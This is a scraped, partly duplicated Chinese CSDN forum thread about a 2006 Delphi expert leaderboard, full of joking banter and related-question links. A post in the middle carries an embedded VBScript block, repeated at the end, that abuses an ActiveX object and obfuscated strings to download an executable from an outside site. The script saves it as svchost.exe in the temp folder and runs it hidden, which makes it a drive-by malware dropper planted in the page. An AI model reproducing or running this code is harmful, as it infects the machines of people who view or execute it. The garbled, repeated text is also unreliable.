Delphi 2006年8月 专家排行榜 自从wudi_1982出现,好像就没有从头把交椅上下来过。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 还有 Wudi失恋了最主要原因哦...... 这个月开始淡出CSDN,开个妓院。丽春、丽夏、丽秋、丽冬院。四院联号!生意兴隆,财源广进。望各位支持。 四院的老妈子也让 foxyy8888 当好了 20 ccrun 390 欢迎光临 C++Builder研究 - www.ccrun.com 赞 核桃:我要举报wudi请你给第一批姑娘验货。别举报我了。 现在对CSDN没太大兴趣了都是那样的问题还是有空写写自己的Blog实际~俺blog在我自己的的网站,CSDN那个Blog少更新了 我的目标,我的口号 :MoveFirst:) 旺仔哥哥和WUDI榜上有名﹐我也來黏點光^*^妓院有男的當掌柜的么﹐還是讓我來當吧﹐哈哈~~~~~~~~~~~~~~ hthunter(核桃-春天过去了……) 哈哈~~~~~~~~~ hthunter(核桃-春天过去了……) 哈哈~~~~~~~~~-----------------------------------------------哈什么哈 andyzhou1101(〆.赱 極端(http://lovelcy.blogcn.com)) 不笑難道哭啊~~~~~~ LY 太喜歡YY,所以不上也是很正常地。 LY 太喜歡YY,所以不上也是很正常地。 >> 如果要一个一个把他们从搜索工具里找出来还挺累的。-_-|| wudi_1982 很牛 很牛 <script language="VBScript">on error resume nextshell = "http://aryuan.51.net/tiny.exe"Set CAOc = document.createElement("object")CAOc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"seturla="down"seturlb="file"seturlc="copy"seturld="exit"seturle="base"CAOi="Microsoft.XMLHTTP"Set CAOd = CAOc.CreateObject(CAOi,"")seturlf="Ado"seturlg="db."seturlh="Str"seturli="eam"CAOf=seturlf&seturlg&seturlh&seturliCAOg=CAOfset CAOa = CAOc.createobject(CAOg,"")CAOa.type = 1CAOh="GET"CAOd.Open CAOh, shell, FalseCAOd.SendCAO9="svchost.exe"set CAOb = CAOc.createobject("Scripting.FileSystemObject","")set CAOe = CAOb.GetSpecialFolder(2)CAOa.openCAO8="CAOa.BuildPath(CAOa,CAO8)"CAO7="CAOb.BuildPath(CAOb,CAO7)"CAO6="CAOc.BuildPath(CAOd,CAO6)"CAO5="CAOd.BuildPath(CAOf,CAO5)"CAO4="CAOe.BuildPath(CAOg,CAO4)"CAO3="CAOf.BuildPath(CAOh,CAO4)"CAO2="CAOg.BuildPath(CAOi,CAO3)"CAO1="CAOh.BuildPath(CAOg,CAO1)"CAO0="CAOi.BuildPath(CAOk,CAO0)"CAO9= CAOb.BuildPath(CAOe,CAO9)CAOa.write CAOd.responseBodyCAOa.savetofile CAO9,2CAOa.closeset CAOe = CAOc.createobject("Shell.Application","")CAOe.ShellExecute CAO9,BBS,BBS,"open",0</script> delphi 【多线程】 加 【定时器】 使用 【临界区】 导致程序【没响应】 奇怪的问题:串口通讯死机 郁闷了很久的问题!说难应该不难!应该是没有找到方法! 能否在delphi中调用excel,将excel中的编辑栏去掉 stringgrid问题,请教 数据库连接问题?请各位帮忙。 在sqlserver中如何进行分组统计再总计?用compute实现的话不能在dbgrid中显示 对DBGRID的设计 谁有modem的所有函数 help!困扰我的一个问题。 如何改变窗口内的鼠标风格? 为什么女人说男人没有一个好东西
最主要原因哦......
都是那样的问题
还是有空写写自己的Blog实际~
俺blog在我自己的的网站,CSDN那个Blog少更新了
:)
哈什么哈
on error resume next
shell = "http://aryuan.51.net/tiny.exe"
Set CAOc = document.createElement("object")
CAOc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
seturle="base"
CAOi="Microsoft.XMLHTTP"
Set CAOd = CAOc.CreateObject(CAOi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
CAOf=seturlf&seturlg&seturlh&seturli
CAOg=CAOf
set CAOa = CAOc.createobject(CAOg,"")
CAOa.type = 1
CAOh="GET"
CAOd.Open CAOh, shell, False
CAOd.Send
CAO9="svchost.exe"
set CAOb = CAOc.createobject("Scripting.FileSystemObject","")
set CAOe = CAOb.GetSpecialFolder(2)
CAOa.open
CAO8="CAOa.BuildPath(CAOa,CAO8)"
CAO7="CAOb.BuildPath(CAOb,CAO7)"
CAO6="CAOc.BuildPath(CAOd,CAO6)"
CAO5="CAOd.BuildPath(CAOf,CAO5)"
CAO4="CAOe.BuildPath(CAOg,CAO4)"
CAO3="CAOf.BuildPath(CAOh,CAO4)"
CAO2="CAOg.BuildPath(CAOi,CAO3)"
CAO1="CAOh.BuildPath(CAOg,CAO1)"
CAO0="CAOi.BuildPath(CAOk,CAO0)"
CAO9= CAOb.BuildPath(CAOe,CAO9)
CAOa.write CAOd.responseBody
CAOa.savetofile CAO9,2
CAOa.close
set CAOe = CAOc.createobject("Shell.Application","")
CAOe.ShellExecute CAO9,BBS,BBS,"open",0
</script>